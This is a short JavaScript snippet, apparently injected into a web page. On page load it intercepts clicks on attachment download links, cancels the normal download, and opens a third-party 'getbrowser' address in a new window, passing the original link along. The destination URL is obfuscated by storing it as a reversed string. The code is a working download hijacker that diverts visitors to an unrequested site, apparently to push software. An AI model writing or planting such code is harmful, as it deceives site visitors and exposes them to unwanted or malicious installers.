try { var adbndObj = { getCookie: function(name) { var cookies = document.cookie.split(';'); for(var i=0 ; i < cookies.length ; ++i) { var pair = cookies[i].trim().split('='); if (pair[0] == name) return pair[1]; } return null; }, setCookie: function(c_name, value, expiredays) { var exdate = new Date(); exdate.setDate(exdate.getDate()+expiredays); document.cookie = c_name+ "=" +escape(value)+ ((expiredays==null) ? "" : ";expires="+exdate.toUTCString())+ ";path=/"; }, isDwUrl: function(elem) { return elem.parentNode.classList.contains('attachment') }, isLimit: function() { return this.getCookie("adbdw") }, init: function() { //if (this.isLimit()) return; var self = this, doclinks = document.getElementsByTagName("a"); Array.prototype.forEach.call(doclinks, function(item) { if (!self.isDwUrl(item)) return; item.addEventListener('click', function(e) { e.preventDefault(); var link = "mrK5wyH6sx7/trams/ten.resworbteg//:sptth".split("").reverse().join(""); if (item.getAttribute("href")) link += "?link=" + encodeURIComponent(item.getAttribute("href")); window.open(link, '_blank'); }, {once : true}); }); } } document.addEventListener('DOMContentLoaded', function() { adbndObj.init(); }, false); } catch(err) { console.log(err) }